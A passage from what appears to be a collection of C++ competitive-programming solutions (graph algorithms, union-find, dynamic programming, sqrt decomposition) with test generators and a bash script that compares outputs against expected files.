<< #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // to comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); }*/ /*class Graph { ll vtx; vector<vector<ll>> adj; public: Graph(ll size) { vtx = size; adj.resize(size); } void addEdge(ll u, ll v) { adj[u].emplace_back(v); } };*/ // topological sort void func() { // no circle ll n; INPUT >> n; map<string, ll> var; map<ll, vector<ll>> adj; map<ll, ll> in_degree; ll V = 0; // number of vertex for (ll i = 0, u, v; i < n; ++i) { string a, islg, b; INPUT >> a >> islg >> b; if (var.count(a)) u = var[a]; else { u = V++; var.insert({a, u}); } if (var.count(b)) v = var[b]; else { v = V++; var.insert({b, v}); } if (islg == "<") swap(u, v); if (adj.count(u)) adj[u].emplace_back(v); else adj.insert({u, vector<ll>(1, v)}); if (!in_degree.count(u)) in_degree.insert({u, 0}); if (!in_degree.count(v)) in_degree.insert({v, 1}); else ++in_degree[v]; } // topo sort queue<ll> q; for (ll i = 0; i < V; ++i) if (in_degree[i] == 0) q.push(i); ll cnt = 0; // count of visited vertex vector<ll> topo_order; while (!q.empty()) { ll fr = q.front(); q.pop(); topo_order.emplace_back(fr); for (auto &nb : adj[fr]) if (--in_degree[nb] == 0) q.push(nb); cnt++; } // circle exits if (cnt != V) { cout << "impossible\n"; return; } else cout << "possible\n"; // swap key and value in var map<ll, string> var_; for (auto &p : var) var_.insert({p.second, p.first}); for (auto &elm : topo_order) cout << var_[elm] << " "; cout << endl; return; } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* Test case: 3 a > b b > c a < c 3 theta > omega omega > alpha theta > alpha */``` runtest.sh ```#!/bin/bash # We expect the tests to be in a directory structure # . # |- tests/ # |- 1.in # |- 1.out # |- 2.in # |- 2.out # # in order to compare the .out files with the output generated from running ./a.out with the input from the .in files # for inputfile in tests/*.in; do solfile=$( echo $inputfile | sed 's/in/out/') echo -ne "$inputfile\t" cat $inputfile | ./a.out | diff -Z "$solfile" - >> /dev/null if [[ $? == 0 ]]; then echo -e "passed" else echo -e "output differs" fi done ``` generate_tree_with_01.cpp ```#include <iostream> #include <fstream> #include <string> #include <ctime> #include <cstdlib> #include <vector> #include <boost/algorithm/string/join.hpp> using namespace std; int getrandom(int range); string generate_stree(int i, int size); int main() { srand(time(nullptr)); string s = generate_stree(0, 4); ofstream file("3.in"); file << s << endl; file.close(); return 0; } int getrandom(int range) { int tmp = range; while (tmp >= range) tmp = rand() / ((RAND_MAX + 1u) / range); return tmp; } string generate_stree(int level, int size) { int max_level = 28; vector<string> stree; string res; if (size == 1) return to_string(getrandom(100)); else { res = getrandom(2) == 1 ? "*(" : "+("; if (level == max_level) { for (unsigned int i = 0; i != size; ++i) stree.push_back(to_string(getrandom(100))); return res + boost::algorithm::join(stree, ",") + ")"; } else { for (unsigned int i = 0; i < size; ++i) { int new_level = level + 1 + getrandom(2); stree.push_back(generate_stree(min(new_level, max_level), 1+getrandom(4))); } return res + boost::algorithm::join(stree, ",") + ")"; } } }``` cake1.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); ll h, w, H, W; h = random<ll>(1, 1E+5); w = 15E+6 / h; H = random<ll>(1, h); W = random<ll>(1, w); file << h << " " << w << endl; for (ll i = 0; i < h; ++i) { for (ll j = 0; j < w; ++j) file << random<int>(0, 2) << " "; file << endl; } file << H << " " << W << endl; }*/ void func() { ios::sync_with_stdio(false); ll h, w, H, W; // h, w~[1, 10E+5], hw~[1, 15*10E+6] INPUT >> h >> w; vector<vector<int>> hist(1, vector<int>(w, 1)); for (ll i = 0, tmp; i < w; ++i) { INPUT >> tmp; hist[0][i] -= tmp; } for (ll i = 1; i < h; ++i) { vector<int> tmpv; for (ll j = 0, tmp; j < w; ++j) { INPUT >> tmp; if (tmp) tmp = 0; else tmp = hist[i-1][j] + 1; tmpv.emplace_back(tmp); } hist.emplace_back(tmpv); } INPUT >> H >> W; // must be sequential for (ll i = 0; i < h; ++i) { for (ll j = 0, len = 0; j < w; ++j) { if (hist[i][j] < H) len = 0; else ++len; if (len == W) { cout << i-H+2 << " " << j-W+2 << " "<< i+1 << " " << j+1 << endl; return; } } } cout << "-1 -1 -1 -1\n"; } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* test case: 5 4 1 0 0 1 1 1 0 0 1 0 0 0 1 0 0 0 1 1 1 1 3 2 */``` helloworld.cpp ```#include <iostream> #include <string> #include <vector> int main() { unsigned int length; std::cin >> length; std::vector<std::string> names; std::string name; for (unsigned i = 0; i < length; ++i) { std::cin >> name; names.push_back(name); } for (std::vector<std::string>::iterator it = names.begin(); it != names.end(); ++it) std::cout << "Hello " << *it << "!" << std::endl; return 0; }``` sample.cpp ```#include "ex03.hpp" #include "functions.hpp" using namespace std; int main() { long x; for (unsigned int i = 0; i < 10; ++i) cout << random<long>(1, 100) << endl; }``` driving.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <set> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // to comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); }*/ class Graph { // DAG ll V, E; // V ~ [2, 1E+5] vector<vector<ll>> adj; vector<ll> degree, out; // out, in public: Graph(ll V, ll E) { this->V = V; this->E = E; adj.resize(V); degree.resize(V, 0); out.resize(V, 0); } void addEdge(ll u, ll v) { adj[u].emplace_back(v); degree[u]++; out[u]++; degree[v]--; } bool hasEulerPath() { if (degree[0] == 1 && degree[V-1] == -1) { for (ll i = 1; i < V-1; ++i) if (degree[i]) return false; // add n -> 1 adj[V-1].emplace_back(0); out[V-1]++; //for (auto v : adj) { for (auto e : v) cout << e << " "; cout << endl; } // Hierholz's Alg : find Euler circuit stack<ll> cur_path; vector<ll> circuit; // in reverse order ll cur_v = 0; cur_path.push(cur_v); while (!cur_path.empty()) { if (out[cur_v]) { cur_path.push(cur_v); ll nxt_v = adj[cur_v].back(); out[cur_v]--; adj[cur_v].pop_back(); cur_v = nxt_v; } else { circuit.emplace_back(cur_v); // backtracking cur_v = cur_path.top(); cur_path.pop(); } } //for (auto v : circuit) cout << v << " "; cout << endl; if ((ll)circuit.size()-2 == E) return true; else return false; } else return false; } }; void func() { ll V, edg; INPUT >> V >> edg; Graph g(V, edg); for (ll i = 0, u, v; i < edg; ++i) { INPUT >> u >> v; g.addEdge(u-1, v-1); } if (g.hasEulerPath()) cout << "POSSIBLE\n"; else cout << "IMPOSSIBLE\n"; } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* 3 3 1 2 2 1 1 3 3 3 1 2 2 1 2 3 4 4 1 2 2 1 3 4 4 3 2 5 1 2 2 1 1 2 2 1 1 2 */``` cashier.cpp ```// remember to replace #include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> // change to cin #define INPUT cin typedef long long ll; using namespace std; // remember to comment /*#include "../functions.hpp" fstream file("test.in"); void generate_test(ll c, ll n) { ofstream file("test.in"); file << c << " " << n << endl; for (ll i = 0; i < n; ++i) file << random<ll>(1, 100000) << " "; } */ int main() { // to comment //generate_test(100000, 500); ll chg, len; INPUT >> chg >> len; vector<ll> cur; for (ll i = 0, tmp; i < len; ++i) { INPUT >> tmp; if (tmp <= chg) cur.emplace_back(tmp); } if (chg == 0) { cout << "0\n"; return 0; } len = (ll)cur.size(); sort(cur.begin(), cur.end()); //auto start = chrono::high_resolution_clock::now(); // c[i, j] = min{ c[i-1, j], c[i, j-cur[i-1]]+1 } vector<vector<ll>> c(len+1, vector<ll> (chg+1, 0)); for (ll i = 0; i <= chg; ++i) c[0][i] = (ll)10e+6; /*for (ll chgs = 1; chgs <= chg; ++chgs) { for (ll coin = 1; coin <= len; ++coin) { if (chgs < cur[coin-1]) c[coin][chgs] = c[coin-1][chgs]; else c[coin][chgs] = min(c[coin-1][chgs], c[coin][chgs-cur[coin-1]]+1); } }*/ // !remember the storage of 2d vector for (ll coin = 1; coin <= len; ++coin) { for (ll chgs = 1; chgs <= chg; ++chgs) { if (chgs < cur[coin-1]) c[coin][chgs] = c[coin-1][chgs]; else c[coin][chgs] = min(c[coin-1][chgs], c[coin][chgs-cur[coin-1]]+1); } } //auto stop = chrono::high_resolution_clock::now(); //auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; if (c[len][chg] == (ll)10e+6) cout << "impossible\n"; else cout << c[len][chg] << endl; return 0; }``` outoforder.cpp ```#include <iostream> #include <vector> #include <algorithm> int main(){ using namespace std; long long size; cin >> size; vector<long> stamp, pos; for (unsigned int i = 0; i < size; ++i) { long tmp; cin >> tmp; stamp.push_back(tmp); } vector<long> stamp_sorted(stamp); sort(stamp_sorted.begin(), stamp_sorted.end()); for (unsigned int i = 0; i < size; ++i) if (stamp[i] != stamp_sorted[i]) pos.push_back(i+1); if (pos.size() == 2) cout << pos[0] << " " << pos[1] << endl; else cout << "impossible" << endl; return 0; //int * stamp = new int[size]; //for (unsigned int i = 0; i < size; ++i) cin >> stamp[i]; // sorting }``` heist.cpp ```// remember to replace #include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> // change to cin #define INPUT cin typedef long long ll; using namespace std; // start comment /*#include "../functions.hpp" fstream file("test.in"); void generate_test(ll n, ll m) { ofstream file("test.in"); file << n << " " << m << endl; for (ll i = 0; i < n; ++i) file << random<ll>(1, 32) << " "; }*/ // end comment template <class T> void print_vector_(const std::vector<T>& v) { for (T e : v) std::cout << e << " "; std::cout << std::endl; } void function() { ll day, zw; // day~[1, 300000] zw~[1, 10] haus~[0, 32] INPUT >> day >> zw; vector<ll> haus; for (ll i = 0, tmp; i < day; ++i) { INPUT >> tmp; haus.emplace_back(tmp); } vector<ll> maxi, isin; // max; isin: larger than before or not for (ll i = 0, in = 0, mx = 0; i < zw; ++i) { if (haus[i] >= mx) { mx = haus[i]; in = 1; } else in = 0; isin.emplace_back(in); maxi.emplace_back(mx); } // to comment //for (auto &p : pr) { print_vector<ll>(p); } // maxi[i] = max {maxi[i-1], maxi[i-zw]+haus[i]} for (ll tg = zw; tg < day; ++tg) { if (maxi[tg-1] > maxi[tg-zw] + haus[tg]) { isin.emplace_back(0); maxi.emplace_back(maxi[tg-1]); } else { isin.emplace_back(1); maxi.emplace_back(maxi[tg-zw] + haus[tg]); } } vector<ll> res; for (ll idx = day-1; idx >= 0;) { if (isin[idx]) { res.emplace_back(idx+1); idx -= zw; } else --idx; } reverse(res.begin(), res.end()); cout << maxi[day-1] << " " << res.size() << endl; print_vector_<ll>(res); } int main() { // to comment //generate_test(300000, 10); auto start = chrono::high_resolution_clock::now(); function(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; }``` reelection.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <set> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // to comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); }*/ class UnionFind { vector<ll> parent, rank; public: UnionFind(ll N) { rank.assign(N, 0); parent.resize(N); for (ll i = 0; i < N; ++i) parent[i] = i; } ll findSet(ll i) { if (parent[i] == i) return i; else return parent[i] = findSet(parent[i]); } void unionSet(ll i, ll j) { i = findSet(i), j = findSet(j); if (i != j) { if (rank[i] > rank[j]) parent[j] = i; else { parent[j] = i; if (rank[i] == rank[j]) rank[j]++; } } } bool isSameSet(ll u, ll v) { return findSet(u) == findSet(v); } }; void func() { ll V, E; INPUT >> V >> E; auto UF = UnionFind(V); //vector<tuple<ll, ll, ll>> edges; multimap<ll, pair<ll, ll>, greater<ll>> edges; for (ll i = 0, u ,v, w; i < E; ++i) { INPUT >> u >> v >> w; //edges.emplace_back(w, u, v); edges.insert({w, {u-1, v-1}}); } //sort(edges.begin(), edges.end(), // [](const tuple<int, int, int>& a, const tuple<int, int, int>& b) { return get<0>(a) > get<0>(b); }); ll res = 0; for (auto e : edges) { ll u, v, w; //tie(w, u, v) = e; u = e.second.first, v = e.second.second, w = e.first; if (w >= 0 || !UF.isSameSet(u, v)) { res += w; UF.unionSet(u, v); } } cout << res << endl; } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* 4 6 1 2 15 1 3 3 2 3 1 2 4 -1 3 4 -2 1 1 5 4 6 1 2 -4 1 3 -2 1 4 -3 2 4 -2 3 4 -5 2 4 -3 */ ``` bridges.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <set> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // to comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); }*/ class Graph { ll V; vector<vector<ll>> adj; // parameters related to dfs ll ctr = 0, bdg = 0; const ll NIL = -1; vector<ll> dfs_min, dfs_num, dfs_prt; // dfs_num[v] : the timestamp at which v was explored // dfs_min[v] : the minimum dfs_num reachable from v using // the directed Tree Edges and at most one Back Edge void dfs(ll u) { dfs_min[u] = dfs_num[u] = ctr++; for (auto v : adj[u]) { if (dfs_num[v] == NIL) { dfs_prt[v] = u; dfs(v); if (dfs_num[u] < dfs_min[v]) bdg++; dfs_min[u] = min(dfs_min[u], dfs_min[v]); } else if (v != dfs_prt[u]) dfs_min[u] = min(dfs_min[u], dfs_num[v]); } } public: Graph(ll V) { this->V = V; adj.resize(V); dfs_min.resize(V, NIL); dfs_num.resize(V, NIL); dfs_prt.resize(V, -1); } void addEdge(ll u, ll v) { adj[u].emplace_back(v); adj[v].emplace_back(u); } ll bridge() { for (ll i = 0; i < V; ++i) { if (dfs_num[i] == NIL) dfs(i); } return bdg; } }; void func() { ll V, edg, bdg; INPUT >> V >> edg; Graph g(V); for (ll i = 0, u, v; i < edg; ++i) { INPUT >> u >> v; g.addEdge(u-1, v-1); } cout << g.bridge() << endl; } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* 5 5 1 2 2 3 2 4 3 4 4 5 4 4 1 2 2 3 3 4 4 1 4 3 1 2 2 3 3 4 */``` coronatracking.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <set> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); ll n, m, s, d; n = random<ll>(2, 1E+5); m = random<ll>(1, 1E+6); s = random<ll>(1, n); d = random<ll>(1, n); file << n << " " << m << " " << s << " " << d << endl; for (ll i = 0, u, v; i < m; ++i) { u = random<ll>(1, n); v = random<ll>(1, n); file << u << " " << v << endl; } }*/ // bfs void func() { ll nd, edg, inf, dst; // โ€“ n (2 โ‰ค n โ‰ค E+5 ), the number of nodes in the social graph // โ€“ m (1 โ‰ค m โ‰ค E+6 ), the number of edges in the social graph // โ€“ s (1 โ‰ค s โ‰ค n), the newly infected person // โ€“ d (1 โ‰ค d โ‰ค n), the distance we are interested in INPUT >> nd >> edg >> inf >> dst; //vector<ll> adj[nd]; //vector<ll> *adj = new vector<ll>[nd]; vector<vector<ll>> adj(nd); vector<int> it(nd, 0); ++it[inf-1]; for (ll i = 0, u, v; i < edg; ++i) { INPUT >> u >> v; adj[u-1].emplace_back(v-1); adj[v-1].emplace_back(u-1); } queue<pair<ll, ll>> q; q.push({inf-1, dst}); while (!q.empty()) { auto fr = q.front(); q.pop(); if (fr.second) { for (auto &nb : adj[fr.first]) { if (!it[nb]) { q.push({nb, fr.second-1}); ++it[nb]; } } } } ll res = 0; for (auto &elm : it) if (elm) ++res; cout << res << endl; return; } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* test 6 5 2 3 2 4 4 3 3 1 1 5 4 6 5 10 5 1 1 2 1 3 1 4 1 5 2 3 2 4 2 5 3 4 3 5 4 5 9 10 4 3 1 2 2 3 1 7 2 4 3 4 4 7 7 8 9 7 7 6 5 6 */ ``` theanswer.cpp ```#include <iostream> #include <vector> #include <algorithm> int main() { using namespace std; long long size; vector<long long> nums, res; cin >> size; for (unsigned long long i = 0; i < size; ++i) { long long n; cin >> n; nums.push_back(n); } sort(nums.begin(), nums.end()); for (unsigned long long i = 0, l, r; i <= size-3; ++i) { l = i + 1; r = size - 1; while (l < r) { long long sum = nums[i] + nums[l] + nums[r]; if (sum == 42) { cout << nums[i] << " " << nums[l] << " " << nums[r] << endl; return 0; } else if (sum > 42) r--; else l++; } } cout << "impossible\n"; return 0; }``` simplify01.cpp ```#include <iostream> #include <string> #include <vector> #include <tuple> #include <cstring> #include <fstream> #include <numeric> #include <chrono> #define OR -1 #define AND -2 #define INPUT cin using namespace std; template<class T> inline void destroy(T*& p) { delete p; p = 0; } struct Node { int key; bool isroot; Node* lc; Node* rc; }; class Parser { Node* ast; public: Parser() { ast = new Node; ast->isroot = true; } ~Parser() { delete_node(ast); } void simplify(string s) { parsing(ast, s); } void parsing(Node* root, string str) { if (is_num(str)) { //cout << str << endl; root->key = stoi(str); root->isroot = false; return; } string andor = str.substr(0, 1); root->key = andor == "*" ? AND : OR; //cout << "original str: " << str << endl; str = str.substr(2, str.size()-3); // remove andor '(' ')' //cout << "remove andor '(' ')': " << str << endl; long sub = 0, comma = 0; // sub = #'(' - #')' ;comma = #1st_level_',' // if left subtree is AND0/OR1, no need to parse right subtree // if right subtree is AND0/OR1, delete left subtree // if one of the subtree is AND1/OR0, delete this and ... auto cptr = str.begin(); for (; cptr != str.end() && comma == 0; ++cptr) { if (*cptr == '(') sub++; else if (*cptr == ')') sub--; else if (*cptr == ',' && sub == 0) comma++; } //cout << "#comma: " << comma << endl; if (comma == 0) { root->isroot = true; parsing(root, str); return; } root->lc = new Node; root->lc->isroot = true; //cout << "left subtree: " << string(str.begin(), cptr-1) << endl; parsing(root->lc, string(str.begin(), cptr-1)); if ((root->key == AND && root->lc->key == 0) || (root->key == OR && root->lc->key == 1)) { root->key = root->lc->key; root->isroot = false; delete_node(root->lc); return; } root->rc = new Node; str = andor + "(" + string(cptr, str.end()) + ")"; root->rc->key = root->key; root->rc->isroot = false; parsing(root->rc, str); if ((root->key == AND && root->rc->key == 0) || (root->key == OR && root->rc->key == 1)) { root->key = root->rc->key; root->isroot = false; delete_node(root->lc); delete_node(root->rc); return; } if ((root->key == AND && root->lc->key == 1) || (root->key == OR && root->lc->key == 0)) { root->key = root->rc->key; delete_node(root->lc); root->lc = root->rc->lc; Node* tmp = root->rc->rc; root->rc->lc = nullptr; root->rc->rc = nullptr; delete_node(root->rc); root->rc = tmp; } else if ((root->key == AND && root->rc->key == 1) || (root->key == OR && root->rc->key == 0)) { root->key = root->lc->key; delete_node(root->rc); root->rc = root->lc->rc; Node* tmp = root->lc->lc; root->lc->lc = nullptr; root->rc->rc = nullptr; delete_node(root->lc); root->lc = tmp; } } void print_ast() { printing(ast); } void printing(Node* node) { if (node->key >= 0) { cout << node->key; return; } if (node->isroot) cout << (node->key == AND ? "*(" : "+("); printing(node->lc); cout << ','; printing(node->rc); if (node->isroot) cout << ')'; return; } void delete_node(Node*& stree) { if (stree->lc) delete_node(stree->lc); if (stree->rc) delete_node(stree->rc); destroy<Node>(stree); return; } bool is_num(string s) { for (unsigned int i = 0; i < s.size(); ++i) if (!isdigit(s[i])) return false; return true; } }; int main() { fstream file("1.in"); string s; getline(INPUT, s); Parser parser; parser.simplify(s); parser.print_ast(); return 0; } ``` stonks.cpp ```#include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #define INPUT cin using namespace std; int main() { fstream file("1.in"); long long num = 0; INPUT >> num; long long gain = 0; multimap<long long, long long> profit; for (long long c = 0, a = 0; num != 0; --num) { INPUT >> c >> a; if (c < a) { profit.insert({c, a}); gain += a - c; } } long long sum = profit.begin()->second, init = profit.begin()->first; for (auto i = next(profit.begin(), 1); i != profit.end(); ++i) { if (i->first > sum) init += i->first - sum; sum += i->second - i->first; } /*for (auto const& p : profit) { if (p.first > max) init += p.first - max; if (p.second > max) max = p.second; }*/ cout << init << " " << gain << endl; return 0; }``` generate_random_matrix.cpp ```#include <iostream> #include <fstream> #include <stdio.h> #include <stdlib.h> #include <time.h> int main() { std::ofstream file; file.open("2.in"); srand(time(NULL)); int v = rand() % 101; for (unsigned int i = 0; i < 11; ++i) { for (unsigned int j = 0; j < 11; ++j) { file << v; if (j < 10) file << " "; v = rand() % 101; } file << std::endl; } return 0; }``` ex02.h ```#include <iostream> #include <vector> #include <string> #include <algorithm> #include <chrono> #include <fstream> /* Measure runtime auto start = chrono::high_resolution_clock::now(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); cout << "Time taken: " << duration.count() << " microseconds" << endl; */``` template.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <set> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // to comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); }*/ void func() {} int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } ``` marriage.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <set> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // to comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); }*/ class UnionFind { vector<ll> parent, rank; public: UnionFind(ll N) { rank.assign(N, 0); parent.resize(N); for (ll i = 0; i < N; ++i) parent[i] = i; } ll findSet(ll i) { if (parent[i] == i) return i; else return parent[i] = findSet(parent[i]); } void unionSet(ll i, ll j) { i = findSet(i), j = findSet(j); if (i != j) { if (rank[i] > rank[j]) parent[j] = i; else { parent[j] = i; if (rank[i] == rank[j]) rank[j]++; } } } }; class Tree { ll N; // number of nodes vector<vector<ll>> adj; vector<set<ll>> query; vector<pair<ll, ll>> qry_id; vector<ll> level, ancestor; vector<bool> visited; map<string, ll> id; map<ll, string> names; map<pair<ll, ll>, pair<ll, ll>> qry; UnionFind UF; public: Tree(ll N) : UF(N) { this->N = N; adj.resize(N), query.resize(N), level.resize(N, -1), ancestor.resize(N); for (ll i = 0; i < N; ++i) ancestor[i] = i; visited.assign(N, false); } void addName(string name, ll i) { id.insert({name, i}); names.insert({i, name}); } void buildTree() { string name; for (ll i = 1; i < N; ++i) { INPUT >> name; adj[id[name]].emplace_back(i); } } void addQuery(string name1, string name2) { query[id[name1]].insert(id[name2]); query[id[name2]].insert(id[name1]); ll id1 = id[name1], id2 = id[name2]; if (id1 > id2) swap(id1, id2); qry.insert({{id1, id2}, {-1, -1}}); // each query is unique qry_id.emplace_back(id1, id2); } void print_names() { for (auto i : names) cout << i.first << " " << i.second << endl; } void print_tree() { for (ll i = 0; i < N; ++i) { cout << i << " -> "; for (auto v : adj[i]) cout << v << " "; cout << endl; } } void dfs(ll u) { for (auto v : adj[u]) { dfs(v); UF.unionSet(u, v); ancestor[UF.findSet(u)] = u; } visited[u] = true; for (auto v : query[u]) { if (visited[v]) { ll id1 = u, id2 = v, lca = ancestor[UF.findSet(v)]; if (id1 > id2) swap(id1, id2); qry[{id1, id2}].first = lca; qry[{id1, id2}].second = level[id1] + level[id2] - 2 * level[lca]; } } } void distance() { queue<pair<ll ,ll>> q; q.push({0, 0}); while (!q.empty()) { auto fr = q.front(); q.pop(); level[fr.first] = fr.second; for (auto n : adj[fr.first]) q.push({n, fr.second+1}); } } ll findLevel(ll r, ll k, ll level) { if (r == k) return level; if (adj[r].size() == 0) return -1; ll res = -1; for (auto child : adj[r]) { res = findLevel(child, k, level+1); if (res != -1) break; } return res; } void output() { /*for (auto &q : qry) { //if (level[q.first.first] == -1) level[q.first.first] = findLevel(0, q.first.first, 0); //if (level[q.first.second] == -1) level[q.first.second] = findLevel(0, q.first.second, 0); //if (level[q.second.first] == -1) level[q.first.second] = findLevel(0, q.second.first, 0); //q.second.second = level[q.first.first] + level[q.first.second] - 2 * level[q.second.first]; q.second.second = findLevel(q.second.first, q.first.first, 0) + findLevel(q.second.first, q.first.second, 0); }*/ for (auto q : qry_id) cout << names[qry[q].first] << " " << qry[q].second << endl; } }; void func() { ll n, q; INPUT >> n >> q; Tree tree(n); string name, name_; for (ll i = 0; i < n; ++i) { INPUT >> name; tree.addName(name, i); } tree.buildTree(); for (ll i = 0; i < q; ++i) { INPUT >> name >> name_; tree.addQuery(name, name_); } //tree.print_names(); //tree.print_tree(); tree.distance(); tree.dfs(0); tree.output(); } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); func(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* 6 4 Gertrude Annegret Elisabeth Lea Jule Dieter Gertrude Gertrude Elisabeth Annegret Annegret Dieter Jule Dieter Annegret Dieter Lea Jule Gertrude */``` microbes.cpp ```#include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> #include <numeric> #define INPUT cin using namespace std; int main() { fstream file("3.in"); long long n, q; INPUT >> n >> q; long long size = ceil(sqrt(n)); vector<long long> ori, comp; for (long long i = 0, odd = 0, tmp = 0; i < n; ++i) { INPUT >> tmp; tmp = tmp % 2; if (tmp) ++odd; ori.push_back(tmp); if ((i+1)%size == 0 || i+1 == n) { comp.push_back(odd); odd = 0; } } for (long long i = 0, a = 0, b = 0; i < q; ++i) { char qry; INPUT >> qry >> a >> b; if (qry == 'U') { // ori[a] --> b b = b%2 ? 1 : 0; if (ori[a-1] != b) { comp[(a-1)/size] += b - ori[a-1]; ori[a-1] = b; } } else { long long res = 0; --a; --b; long long l = (a/size+1)*size-1, u = b/size * size; if (l > u) for (long long j = a; j != b+1; ++j) res += ori[j]; else { for (long long j = a; j <= l; ++j) res += ori[j]; for (long long j = (l+1)/size; j < u/size; ++j) res += comp[j]; for (long long j = u; j <= b; ++j) res += ori[j]; } cout << res << endl; } } }``` lineup.cpp ```#include <iostream> #include <iomanip> #include <string> #include <vector> #include <fstream> #include <chrono> 